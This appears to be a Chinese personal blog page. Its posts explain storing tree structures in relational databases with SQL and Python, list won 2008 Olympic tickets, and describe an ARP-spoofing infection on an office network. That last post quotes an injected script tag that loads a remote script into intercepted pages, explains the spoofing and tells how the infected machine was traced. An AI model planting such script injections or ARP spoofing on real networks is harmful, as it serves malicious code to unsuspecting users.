关系数据库中存储操作树形结构

关系数据库中树形结构的存储,决定因素是对于设计的系统,在此树形结构上的操作是什么。尤其对于节点数较大的树形关系,操作性能肯定是第一考虑因素。当然也和树的具体特典有关系,比如是“扁平型”的还是“纵深型”的。最近的工作涉及到一棵近百万个节点的树,一点总结稍作笔记。

树形结构常见操作

下面的操作大部分从MySQL文档中摘录。

  1. 遍历
  2. Finding all Child nodes / 取得所有的下级节点
  3. Find the Immediate Subordinates of a Node
  4. Finding all the Leaf Nodes / 取得所有下级叶子节点
  5. Depth of a Sub-Tree / 取得子树的深度
  6. Aggregate Functions in a Nested Set
  7. Retrieving a Single Path (all ancestors nodes) / 取得当前节点到根节点的路径
  8. Finding the Depth of the Nodes. 相当于7,找到所有父节点。
  9. Adding New Nodes
  10. Deleting Nodes

可简单分类为

  • 向下搜索(1,2,3,4,5,6)
  • 向上搜索(7,8)
  • 修改(9,10)

其中3和2,4等在不同数据结构基础上的实现中,非常不同。以下分别对几种常见的表示方法,作个简单总结。

线性表示

         A
       / | \
      B  C  D
        /|   \
       E  F   G

A(B, C(E, F), D(G,),)

相当于宽度优先的遍历。
“线性表示”的意思是说,在一行文本中,表示整个复杂结构。也许可以用在数据压缩上吧,基本上与这里讲述的关系数据库关系不大。

node-id & parent-node-id

最常见的表示方法,represents a hierarchy is by using parent child relationship
在关系数据库中,一行数据表示树中的一个节点(后面叙述的结构均是如此)。这一行中存储当前节点的ID(NodeId)和它的父节点的ID(ParentNodeId),因为每个节点的父节点是唯一的。在这两个ID上做索引。

此种结构最利于临近层次的节点搜索(常见操作之3)。对于节点的增删修改(常见操作之9,10),也很容易,只要修改单个节点的属性即可。

操作3(Find the Immediate Subordinates of a Node)在展示树型数据时很有用。比如动态展开节点。实际上很多树形控件,其数据结构也正是这样的。比如YUI的TreeView ;MSComctlLib.TreeCtrl;Graphviz;ASP.NET中的Tree view等等。

对于操作2,4,7,8,在SQL Server中可以使用Inline Table-valued FunctionsMultistatement Table-valued Functions 递归调用实现。当然性能上会有损失。

Deep-first Tree

 

Depth-First Traversal


  A B C D E F G
node-id 1 2 3 4 5 6 7
most-right-child-id 7 2 5 4 5 7 7

Deep-first结构中,每条Node记录需要包含node-id和most-right-child-id。

常见操作2,4,7,8可以高效实现。但是对于操作3(immediately children),实现起来比较难,不如parent/child的容易、高效。可以结合使用。

–Get the path from the root to the given node:
SELECT t1.*
FROM employee t1, employee t2
WHERE t1.nodeindex <= i
AND t1.rightchildindex >= t2.rightchildindex
AND t2.nodeindex = i;

增删修改操作性能消耗比较大。

-- Insert a node as a child of i: UPDATE employee
SET employee.nodeindex = employee.nodeindex + 1
WHERE employee.nodeindex > parentnode;

UPDATE employee
SET employee.rightchildindex = employee.rightchildindex + 1
WHERE employee.rightchildindex >= parentnode;

INSERT INTO employee
(nodeindex, rightchildindex, NAME, comments)
VALUES (parentnode + 1, parentnode + 1, nodename, nodecomments);

-- Delete the node with NodeIndex i: DELETE employee
WHERE employee.nodeindex = i;

UPDATE employee
SET employee.nodeindex = employee.nodeindex - 1
WHERE employee.nodeindex > i;

UPDATE employee
SET employee.rightchildindex = employee.rightchildindex - 1
WHERE employee.rightchildindex > i;

Nested set, 节点左右边缘

左边缘作为node-id,同时记录right-extent。与Deep-first Tree等价。
 

-- All Leaf nodes (an item with any children) can be
-- identified by Left = Right - 1
SELECT * FROM Employee WHERE [LeftExtent] = [RightExtent] - 1

Build a deep-first tree from parent child relationship

Python code

#{
def process_node( catid ):
    n = retrieve_node( catid )
    dfid = global_increased_id()                # with a increased id
    most_right_child_dfid = dfid
    for child in retrieve_children( n ):
        most_right_child_dfid = process_node( child )
    upd_to_db( catid, dfid, most_right_child_dfid )
    print dfid
    return most_right_child_dfid

The WITH keyword in SQL Server 2005/2008

在SQL Server 2005及以上的版本的中,加入了WITH这个关键字。WITH关键字定义了匿名函数,通过表达式形成表定义common table expression (CTE),而且可以递归。而 node-id & parent-node-id 模型中的“取得当前节点到根节点的路径”操作,就需要对表值函数进行递归调用。用WITH关键字进行递归操作的例子如下

 

with HierarchyCTE (NID, PID, Lvl) as
 (select NodeID, ParentID, 0
 from dbo.Hierarchy
 where NodeID = @NodeID_in
 union all
 select NodeID, ParentID, Lvl + 1
 from dbo.Hierarchy
 inner join HierarchyCTE
 on PID = NodeID)
select *
from HierarchyCTE

References

 

 

奥运门票中签,78%,人品爆发

今天终于收到了奥运会门票的“分配结果”。当初定了8200块钱的票,结果中了6400块钱的票,中奖率78%。人品肯定是爆发了,毕竟平均中奖率只有34.6%。或者说俺家小儿童的人品太好,或者有灵异神通之处,明年她(他)想去看奥运会。只是孩子她妈太心疼钱了,说要是真这样的话,也是个“败家子儿孩子”。还没告诉孩子她姥姥,说了的话,估计要扒我的皮了。明年把俺爹,俺老丈人,俺家各位伯伯大爷都领去看看比赛,他们一辈子也算没有遗憾。

奥运会就是这样要搞比赛的,不要成天搞些个什么选秀、表演之类乱七八糟闹哄哄的事。

show一下俺的门票。

您已中签的奥运门票:

田径 ( NSAT182 )
2008-8-18 19:00 - 22:10
国家体育场
票价: 400.00
数量: 2
总计: 800.00

篮球 ( WIBK211 )
2008-8-21 20:00 - 23:59
五棵松篮球馆
票价: 300.00
数量: 2
总计: 600.00

手球 ( NIHB222 )
2008-8-22 18:00 - 22:15
国家体育馆
票价: 150.00
数量: 4
总计: 600.00

篮球 ( WIBK161 )
2008-8-16 09:00 - 13:00
五棵松篮球馆
票价: 150.00
数量: 4
总计: 600.00

足球 ( WSFB131 )
2008-8-13 17:00 - 21:30
工人体育场
票价: 150.00
数量: 4
总计: 600.00

排球 ( CIVO212 )
2008-8-21 20:00 - 21:30
首都体育馆
票价: 200.00
数量: 2
总计: 400.00

足球 ( WSFB164 )
2008-8-16 18:00 - 21:00
工人体育场
票价: 350.00
数量: 4
总计: 1400.00

篮球 ( WIBK141 )
2008-8-14 09:00 - 13:00
五棵松篮球馆
票价: 150.00
数量: 4
总计: 600.00

田径 ( NSAT222 )
2008-8-22 19:00 - 22:20
国家体育场
票价: 400.00
数量: 2
总计: 800.00

票价合计:6400.00

遭遇ARP欺骗病毒

一早上内部办公系统访问起来就很怪异,不是编码错误,就是CSS加载不正常。我去开会,网管就开始胡乱修改配置。直到到中午回到办公桌,打开页面看源码,发现代码头一行被加上了下面的内容。

<script src=http://66.186.33.44/n.js></script>

第一反应是网通干的流氓事。但是访问外部网站没有这个症状,说明他们还没屎到这个地步。上网继续搜搜,很多人都遇到同样的事情,说是”ora.3168a.com”病毒。是一种arp欺骗的病毒。不过也没谁说清其中的原理或者解决办法。

实际上原理也不复杂。

    LAN上任意一台计算机(不一定是服务器),比如是192.168.0.64,中了这种病毒后,就开始疯狂发送arp的广播包,说:“192.168.0.1的mac地址是 xx-xx-xx-xx-xA”。因为在链路层上,所有的机器只能靠这种广播来识别ip所对应的物理地址,所以每台机器的arp缓存中,都记录下了“192.168.0.1的mac地址是 xx-xx-xx-xx-xA”。
    这个192.168.0.1实际上是网关或者其他服务器。虽然它也时不时广播一下自己的真实mac地址:“192.168.0.1的mac地址是 xx-xx-xx-xx-xB”,但是早就被192.168.0.64的疯狂喊叫淹没了。
    然后其他计算机想把包发送给网管或者服务器192.168.0.1的时候,按照他们已经获得的信息,就在链路层上将包发给了xx-xx-xx-xx-xA。那么这个xx-xx-xx-xx-xA到底是谁呢?嘿嘿,正是坏蛋
    192.168.0.64。
    192.168.0.64真是个不折不扣的坏蛋。它把别的机器发给192.168.0.1的包都给收到之后,看看是不是http包,是的话就在前面加进去了前面看到的”script”那一句。然后再偷偷摸摸的按照xx-xx-xx-xx-xB转发给了网关。

用抓包软件可以看到xx-xx-xx-xx-xA在不停的发送上面的ARP包,可是比较难查到这台机器的IP或主机名。arp -a也不行。解决的办法从根本上讲,有三个个:

    对于每个局域网上的ip,运行”arp ip”,看看得到的mac地址是不是xx-xx-xx-xx-xA。
    每台机器挨个查看mac地址。
    分区断网,缩小范围查找。(特务找电台)

不过发现了 nbtscan 这个工具,可以直接解决这个问题。

最后发现,是外地实验室一个哥们儿过来出差,没有笔记本,就把他的台式机(已中毒)端过来插到办公室的网络上了…

开始说怀疑网通电信这帮服务商会干这个事,其实一点也不冤枉他们。他们不用ARP欺骗,因为所有的包都要经过他们的路由器,丫的直接往里塞东西就行了。

想起来一个不着调的事情,就是在高中,有位中年女老师不太招人喜欢,于是我们就叫她“马头人”。实际上这位老师姓徐。我们每天都不停地呱呱呱地广播着这个外号,终于有一天,一位新警察同学找这位老师有事,张嘴就是“马老师,有点事情找您…”

恶俗歌曲:奥你妈的运

这首歌比较次,反反复复就这么一句话。不过经过了四天单双号,想到明年更多的单双号、禁行、限制,听着心理还真挺乐。呵呵,好几年了不停的叨叨奥运会这么个破事,实在是让我很烦了。





Random posts

  • 感冒了
  • [电子书 ] Chemoinformatics: Theory, Practice, & Products
  • Python中的r = cond?x:y(转寄)
  • My software suites
  • ChemDeposit发布版本3